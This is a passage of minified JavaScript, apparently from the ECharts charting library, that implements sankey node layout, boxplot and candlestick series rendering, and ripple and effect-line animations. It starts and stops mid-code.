c=a===`vertical`?(r-(t-1)*i)/s:(n-(t-1)*i)/s;c<o&&(o=c)}),L(e,function(e){L(e,function(e,t){var n=e.getLayout().value*o;a===`vertical`?(e.setLayout({x:t},!0),e.setLayout({dx:n},!0)):(e.setLayout({y:t},!0),e.setLayout({dy:n},!0))})}),L(t,function(e){var t=+e.getValue()*o;e.setLayout({dy:t},!0)})}function WH(e,t,n,r,i){var a=i===`vertical`?`x`:`y`;L(e,function(e){e.sort(function(e,t){return e.getLayout()[a]-t.getLayout()[a]});for(var o,s,c,l=0,u=e.length,d=i===`vertical`?`dx`:`dy`,f=0;f<u;f++)s=e[f],c=l-s.getLayout()[a],c>0&&(o=s.getLayout()[a]+c,i===`vertical`?s.setLayout({x:o},!0):s.setLayout({y:o},!0)),l=s.getLayout()[a]+s.getLayout()[d]+t;var p=i===`vertical`?r:n;if(c=l-t-p,c>0){o=s.getLayout()[a]-c,i===`vertical`?s.setLayout({x:o},!0):s.setLayout({y:o},!0),l=o;for(var f=u-2;f>=0;--f)s=e[f],c=s.getLayout()[a]+s.getLayout()[d]+t-l,c>0&&(o=s.getLayout()[a]-c,i===`vertical`?s.setLayout({x:o},!0):s.setLayout({y:o},!0)),l=s.getLayout()[a]}})}function GH(e,t,n){L(e.slice().reverse(),function(e){L(e,function(e){if(e.outEdges.length){var r=QH(e.outEdges,KH,n)/QH(e.outEdges,ZH);if(isNaN(r)){var i=e.outEdges.length;r=i?QH(e.outEdges,qH,n)/i:0}if(n===`vertical`){var a=e.getLayout().x+(r-XH(e,n))*t;e.setLayout({x:a},!0)}else{var o=e.getLayout().y+(r-XH(e,n))*t;e.setLayout({y:o},!0)}}})})}function KH(e,t){return XH(e.node2,t)*e.getValue()}function qH(e,t){return XH(e.node2,t)}function JH(e,t){return XH(e.node1,t)*e.getValue()}function YH(e,t){return XH(e.node1,t)}function XH(e,t){return t===`vertical`?e.getLayout().x+e.getLayout().dx/2:e.getLayout().y+e.getLayout().dy/2}function ZH(e){return e.getValue()}function QH(e,t,n){for(var r=0,i=e.length,a=-1;++a<i;){var o=+t(e[a],n);isNaN(o)||(r+=o)}return r}function $H(e,t,n){L(e,function(e){L(e,function(e){if(e.inEdges.length){var r=QH(e.inEdges,JH,n)/QH(e.inEdges,ZH);if(isNaN(r)){var i=e.inEdges.length;r=i?QH(e.inEdges,YH,n)/i:0}if(n===`vertical`){var a=e.getLayout().x+(r-XH(e,n))*t;e.setLayout({x:a},!0)}else{var o=e.getLayout().y+(r-XH(e,n))*t;e.setLayout({y:o},!0)}}})})}function eU(e,t){var n=t===`vertical`?`x`:`y`;L(e,function(e){e.outEdges.sort(function(e,t){return e.node2.getLayout()[n]-t.node2.getLayout()[n]}),e.inEdges.sort(function(e,t){return e.node1.getLayout()[n]-t.node1.getLayout()[n]})}),L(e,function(e){var t=0,n=0;L(e.outEdges,function(e){e.setLayout({sy:t},!0),t+=e.getLayout().dy}),L(e.inEdges,function(e){e.setLayout({ty:n},!0),n+=e.getLayout().dy})})}function tU(e){e.eachSeriesByType(`sankey`,function(e){var t=e.getGraph(),n=t.nodes,r=t.edges;if(n.length){var i=1/0,a=-1/0;L(n,function(e){var t=e.getLayout().value;t<i&&(i=t),t>a&&(a=t)}),L(n,function(t){var n=new nR({type:`color`,mappingMethod:`linear`,dataExtent:[i,a],visual:e.get(`color`)}).mapValueToVisual(t.getLayout().value),r=t.getModel().get([`itemStyle`,`color`]);r==null?(t.setVisual(`color`,n),t.setVisual(`style`,{fill:n})):(t.setVisual(`color`,r),t.setVisual(`style`,{fill:r}))})}r.length&&L(r,function(e){var t=e.getModel().get(`lineStyle`);e.setVisual(`style`,t)})})}function nU(e){e.registerChartView(kH),e.registerSeriesModel(MH),e.registerLayout(NH),e.registerVisual(tU),e.registerAction({type:`dragNode`,event:`dragnode`,update:`update`},function(e,t){t.eachComponent({mainType:`series`,subType:`sankey`,query:e},function(t){t.setNodePosition(e.dataIndex,[e.localX,e.localY])})}),e.registerAction({type:`sankeyRoam`,event:`sankeyRoam`,update:`none`},function(e,t,n){t.eachComponent({mainType:`series`,subType:`sankey`,query:e},function(t){var n=t.coordinateSystem,r=tF(n,e,t.get(`scaleLimit`));t.setCenter(r.center),t.setZoom(r.zoom)})})}var rU=function(){function e(){}return e.prototype._hasEncodeRule=function(e){var t=this.getEncode();return t&&t.get(e)!=null},e.prototype.getInitialData=function(e,t){var n,r=t.getComponent(`xAxis`,this.get(`xAxisIndex`)),i=t.getComponent(`yAxis`,this.get(`yAxisIndex`)),a=r.get(`type`),o=i.get(`type`),s;a===`category`?(e.layout=`horizontal`,n=r.getOrdinalMeta(),s=!this._hasEncodeRule(`x`)):o===`category`?(e.layout=`vertical`,n=i.getOrdinalMeta(),s=!this._hasEncodeRule(`y`)):e.layout=e.layout||`horizontal`;var c=[`x`,`y`],l=e.layout===`horizontal`?0:1,u=this._baseAxisDim=c[l],d=c[1-l],f=[r,i],p=f[l].get(`type`),m=f[1-l].get(`type`),h=e.data;if(h&&s){var g=[];L(h,function(e,t){var n;B(e)?(n=e.slice(),e.unshift(t)):B(e.value)?(n=F({},e),n.value=n.value.slice(),e.value.unshift(t)):n=e,g.push(n)}),e.data=g}var _=this.defaultValueDimensions,v=[{name:u,type:Dw(p),ordinalMeta:n,otherDims:{tooltip:!1,itemName:0},dimsDef:[`base`]},{name:d,type:Dw(m),dimsDef:_.slice()}];return nM(this,{coordDimensions:v,dimensionsCount:_.length+1,encodeDefaulter:pt(x_,v,this)})},e.prototype.getBaseAxis=function(){var e=this._baseAxisDim;return this.ecModel.getComponent(e+`Axis`,this.get(e+`AxisIndex`)).axis},e}(),iU=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n.defaultValueDimensions=[{name:`min`,defaultTooltip:!0},{name:`Q1`,defaultTooltip:!0},{name:`median`,defaultTooltip:!0},{name:`Q3`,defaultTooltip:!0},{name:`max`,defaultTooltip:!0}],n.visualDrawType=`stroke`,n}return t.type=`series.boxplot`,t.dependencies=[`xAxis`,`yAxis`,`grid`],t.defaultOption={z:2,coordinateSystem:`cartesian2d`,legendHoverLink:!0,layout:null,boxWidth:[7,50],itemStyle:{color:Q.color.neutral00,borderWidth:1},emphasis:{scale:!0,itemStyle:{borderWidth:2,shadowBlur:5,shadowOffsetX:1,shadowOffsetY:1,shadowColor:Q.color.shadow}},animationDuration:800},t}(_b);ot(iU,rU,!0);var aU=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.render=function(e,t,n){var r=e.getData(),i=this.group,a=this._data;this._data||i.removeAll();var o=+(e.get(`layout`)===`horizontal`);r.diff(a).add(function(e){if(r.hasValue(e)){var t=cU(r.getItemLayout(e),r,e,o,!0);r.setItemGraphicEl(e,t),i.add(t)}}).update(function(e,t){var n=a.getItemGraphicEl(t);if(!r.hasValue(e)){i.remove(n);return}var s=r.getItemLayout(e);n?(Up(n),lU(s,n,r,e)):n=cU(s,r,e,o),i.add(n),r.setItemGraphicEl(e,n)}).remove(function(e){var t=a.getItemGraphicEl(e);t&&i.remove(t)}).execute(),this._data=r},t.prototype.remove=function(e){var t=this.group,n=this._data;this._data=null,n&&n.eachItemGraphicEl(function(e){e&&t.remove(e)})},t.type=`boxplot`,t}(Ab),oU=function(){function e(){}return e}(),sU=function(e){N(t,e);function t(t){var n=e.call(this,t)||this;return n.type=`boxplotBoxPath`,n}return t.prototype.getDefaultShape=function(){return new oU},t.prototype.buildPath=function(e,t){var n=t.points,r=0;for(e.moveTo(n[r][0],n[r][1]),r++;r<4;r++)e.lineTo(n[r][0],n[r][1]);for(e.closePath();r<n.length;r++)e.moveTo(n[r][0],n[r][1]),r++,e.lineTo(n[r][0],n[r][1])},t}(Cu);function cU(e,t,n,r,i){var a=e.ends,o=new sU({shape:{points:i?uU(a,r,e):a}});return lU(e,o,t,n,i),o}function lU(e,t,n,r,i){var a=n.hostModel,o=Gp[i?`initProps`:`updateProps`];o(t,{shape:{points:e.ends}},a,r),t.useStyle(n.getItemVisual(r,`style`)),t.style.strokeNoScale=!0,t.z2=100;var s=n.getItemModel(r),c=s.getModel(`emphasis`);rf(t,s),$d(t,c.get(`focus`),c.get(`blurScope`),c.get(`disabled`))}function uU(e,t,n){return R(e,function(e){return e=e.slice(),e[t]=n.initBaseline,e})}var dU=L;function fU(e){dU(pU(e),function(e){var t=e.seriesModels;t.length&&(mU(e),dU(t,function(t,n){hU(t,e.boxOffsetList[n],e.boxWidthList[n])}))})}function pU(e){var t=[],n=[];return e.eachSeriesByType(`boxplot`,function(e){var r=e.getBaseAxis(),i=it(n,r);i<0&&(i=n.length,n[i]=r,t[i]={axis:r,seriesModels:[]}),t[i].seriesModels.push(e)}),t}function mU(e){var t=e.axis,n=e.seriesModels,r=n.length,i=e.boxWidthList=[],a=e.boxOffsetList=[],o=[],s;if(t.type===`category`)s=t.getBandWidth();else{var c=0;dU(n,function(e){c=Math.max(c,e.getData().count())});var l=t.getExtent();s=Math.abs(l[1]-l[0])/c}dU(n,function(e){var t=e.get(`boxWidth`);B(t)||(t=[t,t]),o.push([X(t[0],s)||0,X(t[1],s)||0])});var u=s*.8-2,d=u/r*.3,f=(u-d*(r-1))/r,p=f/2-u/2;dU(n,function(e,t){a.push(p),p+=d+f,i.push(Math.min(Math.max(f,o[t][0]),o[t][1]))})}function hU(e,t,n){var r=e.coordinateSystem,i=e.getData(),a=n/2,o=e.get(`layout`)===`horizontal`?0:1,s=1-o,c=[`x`,`y`],l=i.mapDimension(c[o]),u=i.mapDimensionsAll(c[s]);if(l==null||u.length<5)return;for(var d=0;d<i.count();d++){var f=i.get(l,d),p=y(f,u[2],d),m=y(f,u[0],d),h=y(f,u[1],d),g=y(f,u[3],d),_=y(f,u[4],d),v=[];b(v,h,!1),b(v,g,!0),v.push(m,h,_,g),x(v,m),x(v,_),x(v,p),i.setItemLayout(d,{initBaseline:p[s],ends:v})}function y(e,n,a){var c=i.get(n,a),l=[];l[o]=e,l[s]=c;var u;return isNaN(e)||isNaN(c)?u=[NaN,NaN]:(u=r.dataToPoint(l),u[o]+=t),u}function b(e,t,n){var r=t.slice(),i=t.slice();r[o]+=a,i[o]-=a,n?e.push(r,i):e.push(i,r)}function x(e,t){var n=t.slice(),r=t.slice();n[o]-=a,r[o]+=a,e.push(n,r)}}function gU(e,t){t||={};for(var n=[],r=[],i=t.boundIQR,a=i===`none`||i===0,o=0;o<e.length;o++){var s=ls(e[o].slice()),c=Ss(s,.25),l=Ss(s,.5),u=Ss(s,.75),d=s[0],f=s[s.length-1],p=(i??1.5)*(u-c),m=a?d:Math.max(d,c-p),h=a?f:Math.min(f,u+p),g=t.itemNameFormatter,_=V(g)?g({value:o}):H(g)?g.replace(`{value}`,o+``):o+``;n.push([_,m,c,l,u,h]);for(var v=0;v<s.length;v++){var y=s[v];if(y<m||y>h){var b=[_,y];r.push(b)}}}return{boxData:n,outliers:r}}var _U={type:`echarts:boxplot`,transform:function(e){var t=e.upstream;t.sourceFormat!==`arrayRows`&&Ps(``);var n=gU(t.getRawData(),e.config);return[{dimensions:[`ItemName`,`Low`,`Q1`,`Q2`,`Q3`,`High`],data:n.boxData},{data:n.outliers}]}};function vU(e){e.registerSeriesModel(iU),e.registerChartView(aU),e.registerLayout(fU),e.registerTransform(_U)}var yU=[`itemStyle`,`borderColor`],bU=[`itemStyle`,`borderColor0`],xU=[`itemStyle`,`borderColorDoji`],SU=[`itemStyle`,`color`],CU=[`itemStyle`,`color0`];function wU(e,t){return t.get(e>0?SU:CU)}function TU(e,t){return t.get(e===0?xU:e>0?yU:bU)}var EU={seriesType:`candlestick`,plan:Db(),performRawSeries:!0,reset:function(e,t){if(!t.isSeriesFiltered(e))return!e.pipelineContext.large&&{progress:function(e,t){for(var n;(n=e.next())!=null;){var r=t.getItemModel(n),i=t.getItemLayout(n).sign,a=r.getItemStyle();a.fill=wU(i,r),a.stroke=TU(i,r)||a.fill,F(t.ensureUniqueItemVisual(n,`style`),a)}}}}},DU=[`color`,`borderColor`],OU=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.render=function(e,t,n){this.group.removeClipPath(),this._progressiveEls=null,this._updateDrawMode(e),this._isLargeDraw?this._renderLarge(e):this._renderNormal(e)},t.prototype.incrementalPrepareRender=function(e,t,n){this._clear(),this._updateDrawMode(e)},t.prototype.incrementalRender=function(e,t,n,r){this._progressiveEls=[],this._isLargeDraw?this._incrementalRenderLarge(e,t):this._incrementalRenderNormal(e,t)},t.prototype.eachRendered=function(e){Em(this._progressiveEls||this.group,e)},t.prototype._updateDrawMode=function(e){var t=e.pipelineContext.large;(this._isLargeDraw==null||t!==this._isLargeDraw)&&(this._isLargeDraw=t,this._clear())},t.prototype._renderNormal=function(e){var t=e.getData(),n=this._data,r=this.group,i=t.getLayout(`isSimpleBox`),a=e.get(`clip`,!0),o=e.coordinateSystem,s=o.getArea&&o.getArea();this._data||r.removeAll(),t.diff(n).add(function(n){if(t.hasValue(n)){var o=t.getItemLayout(n);if(a&&MU(s,o))return;var c=jU(o,n,!0);Rp(c,{shape:{points:o.ends}},e,n),NU(c,t,n,i),r.add(c),t.setItemGraphicEl(n,c)}}).update(function(o,c){var l=n.getItemGraphicEl(c);if(!t.hasValue(o)){r.remove(l);return}var u=t.getItemLayout(o);if(a&&MU(s,u)){r.remove(l);return}l?(Lp(l,{shape:{points:u.ends}},e,o),Up(l)):l=jU(u,o),NU(l,t,o,i),r.add(l),t.setItemGraphicEl(o,l)}).remove(function(e){var t=n.getItemGraphicEl(e);t&&r.remove(t)}).execute(),this._data=t},t.prototype._renderLarge=function(e){this._clear(),LU(e,this.group);var t=e.get(`clip`,!0)?FA(e.coordinateSystem,!1,e):null;t?this.group.setClipPath(t):this.group.removeClipPath()},t.prototype._incrementalRenderNormal=function(e,t){for(var n=t.getData(),r=n.getLayout(`isSimpleBox`),i;(i=e.next())!=null;){var a=jU(n.getItemLayout(i),i);NU(a,n,i,r),a.incremental=!0,this.group.add(a),this._progressiveEls.push(a)}},t.prototype._incrementalRenderLarge=function(e,t){LU(t,this.group,this._progressiveEls,!0)},t.prototype.remove=function(e){this._clear()},t.prototype._clear=function(){this.group.removeAll(),this._data=null},t.type=`candlestick`,t}(Ab),kU=function(){function e(){}return e}(),AU=function(e){N(t,e);function t(t){var n=e.call(this,t)||this;return n.type=`normalCandlestickBox`,n}return t.prototype.getDefaultShape=function(){return new kU},t.prototype.buildPath=function(e,t){var n=t.points;this.__simpleBox?(e.moveTo(n[4][0],n[4][1]),e.lineTo(n[6][0],n[6][1])):(e.moveTo(n[0][0],n[0][1]),e.lineTo(n[1][0],n[1][1]),e.lineTo(n[2][0],n[2][1]),e.lineTo(n[3][0],n[3][1]),e.closePath(),e.moveTo(n[4][0],n[4][1]),e.lineTo(n[5][0],n[5][1]),e.moveTo(n[6][0],n[6][1]),e.lineTo(n[7][0],n[7][1]))},t}(Cu);function jU(e,t,n){var r=e.ends;return new AU({shape:{points:n?PU(r,e):r},z2:100})}function MU(e,t){for(var n=!0,r=0;r<t.ends.length;r++)if(e.contain(t.ends[r][0],t.ends[r][1])){n=!1;break}return n}function NU(e,t,n,r){var i=t.getItemModel(n);e.useStyle(t.getItemVisual(n,`style`)),e.style.strokeNoScale=!0,e.__simpleBox=r,rf(e,i);var a=t.getItemLayout(n).sign;L(e.states,function(e,t){var n=i.getModel(t),r=wU(a,n),o=TU(a,n)||r,s=e.style||={};r&&(s.fill=r),o&&(s.stroke=o)});var o=i.getModel(`emphasis`);$d(e,o.get(`focus`),o.get(`blurScope`),o.get(`disabled`))}function PU(e,t){return R(e,function(e){return e=e.slice(),e[1]=t.initBaseline,e})}var FU=function(){function e(){}return e}(),IU=function(e){N(t,e);function t(t){var n=e.call(this,t)||this;return n.type=`largeCandlestickBox`,n}return t.prototype.getDefaultShape=function(){return new FU},t.prototype.buildPath=function(e,t){for(var n=t.points,r=0;r<n.length;)if(this.__sign===n[r++]){var i=n[r++];e.moveTo(i,n[r++]),e.lineTo(i,n[r++])}else r+=3},t}(Cu);function LU(e,t,n,r){var i=e.getData(),a=i.getLayout(`largePoints`),o=new IU({shape:{points:a},__sign:1,ignoreCoarsePointer:!0});t.add(o);var s=new IU({shape:{points:a},__sign:-1,ignoreCoarsePointer:!0});t.add(s);var c=new IU({shape:{points:a},__sign:0,ignoreCoarsePointer:!0});t.add(c),RU(1,o,e,i),RU(-1,s,e,i),RU(0,c,e,i),r&&(o.incremental=!0,s.incremental=!0),n&&n.push(o,s)}function RU(e,t,n,r){var i=TU(e,n)||wU(e,n),a=n.getModel(`itemStyle`).getItemStyle(DU);t.useStyle(a),t.style.fill=null,t.style.stroke=i}var zU=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n.defaultValueDimensions=[{name:`open`,defaultTooltip:!0},{name:`close`,defaultTooltip:!0},{name:`lowest`,defaultTooltip:!0},{name:`highest`,defaultTooltip:!0}],n}return t.prototype.getShadowDim=function(){return`open`},t.prototype.brushSelector=function(e,t,n){var r=t.getItemLayout(e);return r&&n.rect(r.brushRect)},t.type=`series.candlestick`,t.dependencies=[`xAxis`,`yAxis`,`grid`],t.defaultOption={z:2,coordinateSystem:`cartesian2d`,legendHoverLink:!0,layout:null,clip:!0,itemStyle:{color:`#eb5454`,color0:`#47b262`,borderColor:`#eb5454`,borderColor0:`#47b262`,borderColorDoji:null,borderWidth:1},emphasis:{itemStyle:{borderWidth:2}},barMaxWidth:null,barMinWidth:null,barWidth:null,large:!0,largeThreshold:600,progressive:3e3,progressiveThreshold:1e4,progressiveChunkMode:`mod`,animationEasing:`linear`,animationDuration:300},t}(_b);ot(zU,rU,!0);function BU(e){!e||!B(e.series)||L(e.series,function(e){U(e)&&e.type===`k`&&(e.type=`candlestick`)})}var VU={seriesType:`candlestick`,plan:Db(),reset:function(e){var t=e.coordinateSystem,n=e.getData(),r=UU(e,n),i=0,a=1,o=[`x`,`y`],s=n.getDimensionIndex(n.mapDimension(o[i])),c=R(n.mapDimensionsAll(o[a]),n.getDimensionIndex,n),l=c[0],u=c[1],d=c[2],f=c[3];if(n.setLayout({candleWidth:r,isSimpleBox:r<=1.3}),s<0||c.length<4)return;return{progress:e.pipelineContext.large?m:p};function p(e,n){for(var o,c=n.getStore();(o=e.next())!=null;){var p=c.get(s,o),m=c.get(l,o),h=c.get(u,o),g=c.get(d,o),_=c.get(f,o),v=Math.min(m,h),y=Math.max(m,h),b=E(v,p),x=E(y,p),S=E(g,p),C=E(_,p),w=[];D(w,x,0),D(w,b,1),w.push(k(C),k(x),k(S),k(b));var T=!!n.getItemModel(o).get([`itemStyle`,`borderColorDoji`]);n.setItemLayout(o,{sign:HU(c,o,m,h,u,T),initBaseline:m>h?x[a]:b[a],ends:w,brushRect:O(g,_,p)})}function E(e,n){var r=[];return r[i]=n,r[a]=e,isNaN(n)||isNaN(e)?[NaN,NaN]:t.dataToPoint(r)}function D(e,t,n){var a=t.slice(),o=t.slice();a[i]=sm(a[i]+r/2,1,!1),o[i]=sm(o[i]-r/2,1,!0),n?e.push(a,o):e.push(o,a)}function O(e,t,n){var o=E(e,n),s=E(t,n);return o[i]-=r/2,s[i]-=r/2,{x:o[0],y:o[1],width:a?r:s[0]-o[0],height:a?s[1]-o[1]:r}}function k(e){return e[i]=sm(e[i],1),e}}function m(n,r){for(var o=FT(n.count*4),c=0,p,m=[],h=[],g,_=r.getStore(),v=!!e.get([`itemStyle`,`borderColorDoji`]);(g=n.next())!=null;){var y=_.get(s,g),b=_.get(l,g),x=_.get(u,g),S=_.get(d,g),C=_.get(f,g);if(isNaN(y)||isNaN(S)||isNaN(C)){o[c++]=NaN,c+=3;continue}o[c++]=HU(_,g,b,x,u,v),m[i]=y,m[a]=S,p=t.dataToPoint(m,null,h),o[c++]=p?p[0]:NaN,o[c++]=p?p[1]:NaN,m[a]=C,p=t.dataToPoint(m,null,h),o[c++]=p?p[1]:NaN}r.setLayout(`largePoints`,o)}}};function HU(e,t,n,r,i,a){return n>r?-1:n<r?1:a?0:t>0?e.get(i,t-1)<=r?1:-1:1}function UU(e,t){var n=e.getBaseAxis(),r,i=n.type===`category`?n.getBandWidth():(r=n.getExtent(),Math.abs(r[1]-r[0])/t.count()),a=X(W(e.get(`barMaxWidth`),i),i),o=X(W(e.get(`barMinWidth`),1),i),s=e.get(`barWidth`);return s==null?Math.max(Math.min(i/2,a),o):X(s,i)}function WU(e){e.registerChartView(OU),e.registerSeriesModel(zU),e.registerPreprocessor(BU),e.registerVisual(EU),e.registerLayout(VU)}function GU(e,t){var n=t.rippleEffectColor||t.color;e.eachChild(function(e){e.attr({z:t.z,zlevel:t.zlevel,style:{stroke:t.brushType===`stroke`?n:null,fill:t.brushType===`fill`?n:null}})})}var KU=function(e){N(t,e);function t(t,n){var r=e.call(this)||this,i=new mA(t,n),a=new Y;return r.add(i),r.add(a),r.updateData(t,n),r}return t.prototype.stopEffectAnimation=function(){this.childAt(1).removeAll()},t.prototype.startEffectAnimation=function(e){for(var t=e.symbolType,n=e.color,r=e.rippleNumber,i=this.childAt(1),a=0;a<r;a++){var o=Bx(t,-1,-1,2,2,n);o.attr({style:{strokeNoScale:!0},z2:99,silent:!0,scaleX:.5,scaleY:.5});var s=-a/r*e.period+e.effectOffset;o.animate(``,!0).when(e.period,{scaleX:e.rippleScale/2,scaleY:e.rippleScale/2}).delay(s).start(),o.animateStyle(!0).when(e.period,{opacity:0}).delay(s).start(),i.add(o)}GU(i,e)},t.prototype.updateEffectAnimation=function(e){for(var t=this._effectCfg,n=this.childAt(1),r=[`symbolType`,`period`,`rippleScale`,`rippleNumber`],i=0;i<r.length;i++){var a=r[i];if(t[a]!==e[a]){this.stopEffectAnimation(),this.startEffectAnimation(e);return}}GU(n,e)},t.prototype.highlight=function(){Pd(this)},t.prototype.downplay=function(){Fd(this)},t.prototype.getSymbolType=function(){var e=this.childAt(0);return e&&e.getSymbolType()},t.prototype.updateData=function(e,t){var n=this,r=e.hostModel;this.childAt(0).updateData(e,t);var i=this.childAt(1),a=e.getItemModel(t),o=e.getItemVisual(t,`symbol`),s=Vx(e.getItemVisual(t,`symbolSize`)),c=e.getItemVisual(t,`style`),l=c&&c.fill,u=a.getModel(`emphasis`);i.setScale(s),i.traverse(function(e){e.setStyle(`fill`,l)});var d=Hx(e.getItemVisual(t,`symbolOffset`),s);d&&(i.x=d[0],i.y=d[1]),i.rotation=(e.getItemVisual(t,`symbolRotate`)||0)*Math.PI/180||0;var f={};f.showEffectOn=r.get(`showEffectOn`),f.rippleScale=a.get([`rippleEffect`,`scale`]),f.brushType=a.get([`rippleEffect`,`brushType`]),f.period=a.get([`rippleEffect`,`period`])*1e3,f.effectOffset=t/e.count(),f.z=r.getShallow(`z`)||0,f.zlevel=r.getShallow(`zlevel`)||0,f.symbolType=o,f.color=l,f.rippleEffectColor=a.get([`rippleEffect`,`color`]),f.rippleNumber=a.get([`rippleEffect`,`number`]),f.showEffectOn===`render`?(this._effectCfg?this.updateEffectAnimation(f):this.startEffectAnimation(f),this._effectCfg=f):(this._effectCfg=null,this.stopEffectAnimation(),this.onHoverStateChange=function(e){e===`emphasis`?f.showEffectOn!==`render`&&n.startEffectAnimation(f):e===`normal`&&f.showEffectOn!==`render`&&n.stopEffectAnimation()}),this._effectCfg=f,$d(this,u.get(`focus`),u.get(`blurScope`),u.get(`disabled`))},t.prototype.fadeOut=function(e){e&&e()},t}(Y),qU=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.init=function(){this._symbolDraw=new yA(KU)},t.prototype.render=function(e,t,n){var r=e.getData(),i=this._symbolDraw;i.updateData(r,{clipShape:this._getClipShape(e)}),this.group.add(i.group)},t.prototype._getClipShape=function(e){var t=e.coordinateSystem,n=t&&t.getArea&&t.getArea();return e.get(`clip`,!0)?n:null},t.prototype.updateTransform=function(e,t,n){var r=e.getData();this.group.dirty();var i=tj(``).reset(e,t,n);i.progress&&i.progress({start:0,end:r.count(),count:r.count()},r),this._symbolDraw.updateLayout()},t.prototype._updateGroupTransform=function(e){var t=e.coordinateSystem;t&&t.getRoamTransform&&(this.group.transform=Jn(t.getRoamTransform()),this.group.decomposeTransform())},t.prototype.remove=function(e,t){this._symbolDraw&&this._symbolDraw.remove(!0)},t.type=`effectScatter`,t}(Ab),JU=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n.hasSymbolVisual=!0,n}return t.prototype.getInitialData=function(e,t){return fT(null,this,{useEncodeDefaulter:!0})},t.prototype.brushSelector=function(e,t,n){return n.point(t.getItemLayout(e))},t.type=`series.effectScatter`,t.dependencies=[`grid`,`polar`],t.defaultOption={coordinateSystem:`cartesian2d`,z:2,legendHoverLink:!0,effectType:`ripple`,progressive:0,showEffectOn:`render`,clip:!0,rippleEffect:{period:4,scale:2.5,brushType:`fill`,number:3},universalTransition:{divideShape:`clone`},symbolSize:10},t}(_b);function YU(e){e.registerChartView(qU),e.registerSeriesModel(JU),e.registerLayout(tj(`effectScatter`))}var XU=function(e){N(t,e);function t(t,n,r){var i=e.call(this)||this;return i.add(i.createLine(t,n,r)),i._updateEffectSymbol(t,n),i}return t.prototype.createLine=function(e,t,n){return new Iz(e,t,n)},t.prototype._updateEffectSymbol=function(e,t){var n=e.getItemModel(t).getModel(`effect`),r=n.get(`symbolSize`),i=n.get(`symbol`);B(r)||(r=[r,r]);var a=e.getItemVisual(t,`style`),o=n.get(`color`)||a&&a.stroke,s=this.childAt(1);this._symbolType!==i&&(this.remove(s),s=Bx(i,-.5,-.5,1,1,o),s.z2=100,s.culling=!0,this.add(s)),s&&(s.setStyle(`shadowColor`,o),s.setStyle(n.getItemStyle([`color`])),s.scaleX=r[0],s.scaleY=r[1],s.setColor(o),this._symbolType=i,this._symbolScale=r,this._updateEffectAnimation(e,n,t))},t.prototype._updateEffectAnimation=function(e,t,n){var r=this.childAt(1);if(r){var i=e.getItemLayout(n),a=t.get(`period`)*1e3,o=t.get(`loop`),s=t.get(`roundTrip`),c=t.get(`constantSpeed`),l=Ct(t.get(`delay`),function(t){return t/e.count()*a/3});if(r.ignore=!0,this._updateAnimationPoints(r,i),c>0&&(a=this._getLineLength(r)/c*1e3),a!==this._period||o!==this._loop||s!==this._roundTrip){r.stopAnimation();var u=void 0;u=V(l)?l(n):l,r.__t>0&&(u=-a*r.__t),this._animateSymbol(r,a,u,o,s)}this._period=a,this._loop=o,this._roundTrip=s}},t.prototype._animateSymbol=function(e,t,n,r,i){if(t>0){e.__t=0;var a=this,o=e.animate(``,r).when(i?t*2:t,{__t:i?2:1}).delay(n).during(function(){a._updateSymbolPosition(e)});r||o.done(function(){a.remove(e)}),o.start()}},t.prototype._getLineLength=function(e){return $t(e.__p1,e.__cp1)+$t(e.__cp1,e.__p2)},t.prototype._updateAnimationPoints=function(e,t){e.__p1=t[0],e.__p2=t[1],e.__cp1=t[2]||[(t[0][0]+t[1][0])/2,(t[0][1]+t[1][1])/2]},t.prototype.updateData=function(e,t,n){this.childAt(0).updateData(e,t,n),this._updateEffectSymbol(e,t)},t.prototype._updateSymbolPosition=function(e){var t=e.__p1,n=e.__p2,r=e.__cp1,i=e.__t<1?e.__t:2-e.__t,a=[e.x,e.y],o=a.slice(),s=ri,c=ii;a[0]=s(t[0],r[0],n[0],i),a[1]=s(t[1],r[1],n[1],i);var l=e.__t<1?c(t[0],r[0],n[0],i):c(n[0],r[0],t[0],1-i),u=e.__t<1?c(t[1],r[1],n[1],i):c(n[1],r[1],t[1],1-i);e.rotation=-Math.atan2(u,l)-Math.PI/2,(this._symbolType===`line`||this._symbolType===`rect`||this._symbolType===`roundRect`)&&(e.__lastT!==void 0&&e.__lastT<e.__t?(e.scaleY=$t(o,a)*1.05,i===1&&(a[0]=o[0]+(a[0]-o[0])/2,a[1]=o[1]+(a[1]-o[1])/2)):e.__lastT===1?e.scaleY=2*$t(t,a):e.scaleY=this._symbolScale[1]),e.__lastT=e.__t,e.ignore=!1,e.x=a[0],e.y=a[1]},t.prototype.updateLayout=function(e,t){this.childAt(0).updateLayout(e,t);var n=e.getItemModel(t).getModel(`effect`);this._updateEffectAnimation(e,n,t)},t}(Y),ZU=function(e){N(t,e);function t(t,n,r){var i=e.call(this)||this;return i._createPolyline(t,n,r),i}return t.prototype._createPolyline=function(e,t,n){var r=new lp({shape:{points:e.getItemLayout(t)}});this.add(r),this._updateCommonStl(e,t,n)},t.prototype.updateData=function(e,t,n){var r=e.hostModel;Lp(this.childAt(0),{shape:{points:e.getItemLayout(t)}},r,t),this._updateCommonStl(e,t,n)},t.prototype._updateCommonStl=function(e,t,n){var r=this.childAt(0),i=e.getItemModel(t),a=n&&n.emphasisLineStyle,o=n&&n.focus,s=n&&n.blurScope,c=n&&n.emphasisDisabled;if(!n||e.hasItemOption){var l=i.getModel(`emphasis`);a=l.getModel(`lineStyle`).getLineStyle(),c=l.get(`disabled`),o=l.get(`focus`),s=l.get(`blurScope`)}r.useStyle(e.getItemVisual(t,`style`)),r.style.fill=null,r.style.strokeNoScale=!0;var u=r.ensureState(`emphasis`);u.style=a,$d(this,o,s,c)},t.prototype.updateLayout=function(e,t){this.childAt(0).setShape(`points`,e.getItemLayout(t))},t}(Y),QU=function(e){N(t,e);function t(){var t=e!==null&&e.apply(this,arguments)||this;return t._lastFrame=0,t._lastFramePercent=0,t}return t.prototype.createLine=function(e,t,n){return new ZU(e,t,n)},t.prototype._updateAnimationPoints=function(e,t){this._points=t;for(var n=[0],r=0,i=1;i<t.length;i++){var 